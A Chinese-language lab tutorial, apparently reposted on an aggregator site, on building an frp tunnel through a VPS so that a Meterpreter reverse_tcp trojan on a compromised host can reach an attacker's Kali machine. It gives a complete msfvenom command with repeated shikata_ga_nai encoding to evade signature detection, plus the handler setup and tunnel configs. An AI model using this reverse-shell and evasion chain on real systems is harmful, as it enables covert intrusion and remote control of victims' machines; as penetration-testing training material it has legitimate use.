内网渗透——隧道代理

news2024/10/6 12:30:41

文章目录

  • 代理
    • 代理使用场景
    • VPS
    • 建立隧道
    • frp
    • MSF木马生成
    • 监听
    • 开启frp服务端和客户端
    • 执行exe木马文件

代理

实验环境

  • 攻击机kali:192.168.188.133(NAT模式)

  • 模拟的公网服务器(本机):10.9.75.239

  • 失陷主机:10.9.75.145(桥接模式)

代理使用场景

  1. 拿下远程的Web服务器。
  2. Webshell连接不稳定,需要使用稳定的木马程序。
  3. 远程服务器无法直接连接攻击者的电脑。
  4. 需要借助公网的vps转发来在失陷服务器的木马流量。
  5. 借助frp服务端(vps)和客户端(内网攻击者)建立隧道。
  6. 当vps某个端口收到流量的时候,frps会根据提前和frpc约定好的规则,使用建立好的隧道转发流量到frpc。

前提条件

拿下了公网上的一台主机(8.8.8.8)的webshell的权限,需要上传完整功能的木马文件。那么有一个问题,木马执行了后要找谁?此时的失陷主机是连接不到内网的攻击主机,这个时候就需要用到代理技术。

VPS

VPS是Virtual Private Serve的英文缩写,即虚拟专用服务器。VPS就是将一台物理服务器分割成多个独立的虚拟专项服务器,每一个VPS都可以分配独立的公网IP地址,独立的操作系统,能够实现不同VPS的磁盘空间、CPU资源、内存、系统等配置的隔离,通过虚拟技术让每一个用户使用VPS的时候都像是在使用一台独立服务器一样,自定义安装自己需要的东西。

公网VPS:

  • 可以理解为服务器上的虚拟机,攻击者可控。

  • 攻击者和受害者服务器都可以访问到。

建立隧道

image-20231013201014251

因为远程VPS不能访问攻击者的Kali主机。攻击者与远程VPS需要建立隧道,远程VPS使用7000端口建立一个监听(可以说隧道服务或者是代理服务),这样远程VPS就能够访问攻击者主机。还需要将远程VPS的4444端口的流量通过7000端口发送给攻击者的Kali。(代理的核心)

给失陷Web服务器的木马内容:

  • host:当木马执行的时候,去连接公网上的远程VPS。

  • post:连接远程VPS的4444端口。

frp

frp可以实现端口转发,端口监听,隧道功能。frp分为客户端和服务端。

Kali上启动的是客户端(frpc)

本机上启动的是服务端(frps)

frp运行起来的时候会自动的将7000端口开放,当然该端口可以在配置文件中进行修改。这样客户端和服务端就可以连接上了,他们之间就会有一个隧道。

远程VPS服务器的4444端口会主动转发数据流量给客户端的4444端口,不做任何操作,通过frp建立的隧道发送给远程连接的客户端的端口,至于转发给客户端的哪个端口,是由frpc的配置文件来决定的。

MSF木马生成

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.75.239 LPORT=4444 -e x86/shikata_ga_nai -f exe -o shell.exe -i 5

命令解析

  • -p:指定生成的Payload类型为Windows平台的Meterpreter反向TCP Shell。

  • LHOST=10.9.75.239:指定反向连接的目标IP地址,这里是将连接的目标设置为10.9.75.239。(这里就是将木马的数据流量信息发送给远程VPS服务器)

  • LPORT=4444:指定反向连接的目标端口号,这里是将连接的目标端口设置为4444。

  • -e x86/shikata_ga_nai:对生成的Payload使用x86/shikata_ga_nai编码进行混淆,以绕过一些基于特征签名的检测。

  • -f exe:生成的Payload格式为可执行文件(.exe)。

  • -o shell.exe:指定生成的Payload保存的文件名为shell.exe。

  • -i 5:Payload的迭代次数,表示对Payload进行重复编码的次数,以增加混淆程度和绕过某些检测。

image-20231013202806600

监听

使用msf进行监听

msfconsole

载入监控模块

use exploit/multi/handler		

加载payload

set payload windows/meterpreter/reverse_tcp
set lport 4444					# 监听本机的4444端口
set lhost 127.0.0.1				# 监听本机的IP地址也就是127.0.0.1
run

image-20231013203620037

查看Kali主机监听的端口号信息

ss -antpl

image-20231013203709384

命令的解析:

  • ss:是一个替代传统的netstat命令的工具,用于显示套接字(socket)统计信息。
  • -a:显示所有的套接字连接,包括监听中的和已建立的连接。
  • -n:以数值形式显示IP地址和端口号,而不进行反向解析。
  • -t:只显示TCP协议相关的连接。
  • -p:显示每个连接所对应的进程ID和进程名称。
  • -l:只显示监听(处于侦听状态)的套接字连接。

开启frp服务端和客户端

注意:先开启frp服务端再开启frp的客户端

开启frp服务端

.\frps.exe -c frps.ini

说明:-c表示指定服务端的配置文件。

image-20231013204220234

开启frp客户端

将frp压缩包先进行一个解压操作。

image-20231013204557619

修改frpc的配置文件。

vim frpc.ini

image-20231013210008466

当通过远程的frp服务器的7000端口连接好后,下面的配置信息[msf]就生效了。

[msf]配置信息使用TCP协议进行通信,当远程VPS的4444端口收到数据的时候会发送数据到kali本地地址的4444端口。

开启frp客户端

./frpc -c frpc.ini

image-20231013211226982

启动成功。

frp服务端情况:

image-20231013211432687

执行exe木马文件

将木马文件上传到失陷主机上,双击执行即可。

image-20231013211717006

kali攻击机成功监听。

image-20231013211817679

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1091127.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python学习基础笔记六十八——循环

循环是编程语言常见的流程控制。 Python语句要让计算机反复地做一些事情,就要用到循环语句。 有While和for循环。 while循环: command input("请输入命令:") while command ! exit:print(f输入的命令是{command})command input("请输…

15. Java反射和注解

Java —— 反射和注解 1. 反射2. 注解 1. 反射 动态语言:变量的类型和属性可以在运行时动态确定,而不需要在编译时指定 常见动态语言:Python,JavaScript,Ruby,PHP,Perl;常见静态语言…

SAP报错CX_SY DYN CALL PARAM MISSING

DYN CALL METH PARAM MISSING CX_SY DYN CALL PARAM MISSING 在 ABAP 中,当你定义一个方法时,可以选择将方法的参数标记为可选(可选参数)或必需(必需参数)。如果你不勾选可选参数选项,那么该参…

【AI视野·今日Sound 声学论文速览 第二十五期】Fri, 13 Oct 2023

AI视野今日CS.Sound 声学论文速览 Fri, 13 Oct 2023 Totally 8 papers 👉上期速览✈更多精彩请移步主页 Daily Sound Papers Impact of time and note duration tokenizations on deep learning symbolic music modeling Authors Nathan Fradet, Nicolas Gutowski,…

Sentinel-2 命名规则(Naming Convention)

下述命名规则是2019年12月6日颁布的&#xff0c;自此之后的L1C级别产品都按照这个规则命名&#xff08;其他级别的产品官网没说&#xff09;。 下载下来的文件是个zip&#xff0c;解压后是个与zip同名的 .SAFE 文件。 MMM_MSIXXX_YYYYMMDDHHMMSS_Nxxyy_ROOO_Tnnmab_<Produ…

Modelsim查看波形窗口内断言(SVA)消息指示器

步骤1&#xff1a;创建工程并编译完成 在相应目录下创建好工程并编译无错误后&#xff1b; 步骤二&#xff1a; 在菜单栏中选择“Simulate”—>“Start Simulation”—>“Others”,在“Others Vsim Options”中输入 -msgmode both -displaymsgmode both 步骤三&#xf…

Leetcode——数组的改变、移动练习

453. 最小操作次数使数组元素相等 本人答案超时 class Solution { public:int minMoves(vector<int>& nums) {int len nums.size();int count 0;if (len 1) {count 0;}else {while (nums[0] ! nums[1] || nums[len - 2] ! nums[len - 1]) {for (int i 0; i <…

搭建一个vscode+uni+vue的小程序项目

我们使用 vue2 创建工程作为示例&#xff0c;uni-app中Vue2版的组件库和插件也比较多&#xff0c;稳定、问题少&#xff0c;可以先参考下官方文档:uni-app官网 既然是使用vue脚手架&#xff0c;那肯定要全局安装vue/cli&#xff0c;已安装的可以跳过。 注意&#xff1a;Vue2创…

面试题-React(十二):React中不可变数据的力量

一、不可变数据的概念 不可变数据意味着数据一旦创建&#xff0c;就不能被更改。在React中&#xff0c;每次对数据的修改都会返回一个新的数据副本&#xff0c;而不会改变原始数据。这种方式确保了数据的稳定性和一致性。 二、Props中的不可变数据 在React中&#xff0c;组件…

【数据结构】:二叉树与堆排序的实现

1.树概念及结构(了解) 1.1树的概念 树是一种非线性的数据结构&#xff0c;它是由n&#xff08;n>0&#xff09;个有限结点组成一个具有层次关系的集合把它叫做树是因为它看起来像一棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;而叶朝下的有一个特殊的结点&#…

湖南省人才档案查询

湖南省人才档案查询 微信中查询智慧人社公众号 进入智慧人社公众号&#xff0c;点击智慧人社按钮 点击人才档案查询 查看档案信息

chapter8 Dimensionality Reduction(降维)

设置 首先&#xff0c;确保代码在python2和python3中都能正常工作&#xff0c;导入一些通用模块&#xff0c;确保MatplotLib以内联方式绘制图形&#xff0c;并准备一个函数来保存这些图形: from __future__ import division,print_function,unicode_literalsimport numpy as …

异星工场入门笔记-01

两年前玩过一点&#xff0c;不看教程&#xff0c;单纯地开放世界自己探索&#xff0c;没有同类游戏经验&#xff0c;因此很难有获得感所以放弃了。现在正版游戏涨到130&#xff0c;看在逆势上涨的份上&#xff0c;我倒想继续探索下这个游戏的价值。 玩魔方&#xff0c;记教程步…

深度学习之使用CSDN的InsCode的服务器

CSDN开启了一个InsCode的栏目&#xff0c;在里面可以部署自己的项目&#xff0c;同时可以租赁GPU服务器&#xff1a; 由于博主在CSDN有些积蓄&#xff0c;因此便来测评一下&#xff0c;博主购买了3090这个型号 接下来便是登录使用了&#xff0c;博主使用的是Mobaxterm这个软件&…

彻底解决Qt中文乱码以及汉字编码的问题(UTF-8/GBK)

彻底解决Qt中文乱码以及汉字编码的问题&#xff08;UTF-8/GBK&#xff09; Chapter1 (彻底解决Qt中文乱码以及汉字编码的问题&#xff08;UTF-8/GBK&#xff09;一、Qt Creator环境设置二、编码知识科普Qt常见的两种编码是:UTF-8和GBK 三、编码转换四、QString显示中文乱码的原…

铜死亡+多组机器学习+WGCNA+分型

今天给同学们分享一篇铜死亡多组机器学习WGCNA分型的生信文章“Machine learning screening for Parkinsons disease-related cuproptosis-related typing development and validation and exploration of personalized drugs for cuproptosis genes”&#xff0c;这篇文章于20…

3.3 封装性

思维导图&#xff1a; 3.3.1 为什么要封装 ### 3.3.1 为什么要封装 **封装**&#xff0c;在Java的面向对象编程中&#xff0c;是一个核心的思想。它主要是为了保护对象的状态不被外部随意修改&#xff0c;确保数据的完整性和安全性。 #### **核心思想&#xff1a;** - 保护…

TSINGSEE青犀智能分析网关如何助力别墅区域监控智能化信息化发展?

谈到别墅&#xff0c;大家一般都会想到花园、草坪、泳池等等&#xff0c;联想到的都是舒适放松的环境。别墅优美环境是不可否认的&#xff0c;但是别墅占地大、空间广、人员稀少也使得常常被盗贼“光顾”&#xff0c;即使别墅一般都会配备保安进行巡逻检查&#xff0c;但传统人…

【python编程】python无法import模块的一种原因分析

python系统路径添加错误 报错原因原因分析解决办法补充 最近写代码的时候遇到一个问题&#xff0c;就是想添加工程下fu_convert文件夹下自己编写的convert_fw.py模块&#xff0c;但是出现报错&#xff0c;是个比较低级的问题&#xff0c;但还是简单记录一下 报错原因 无法找到…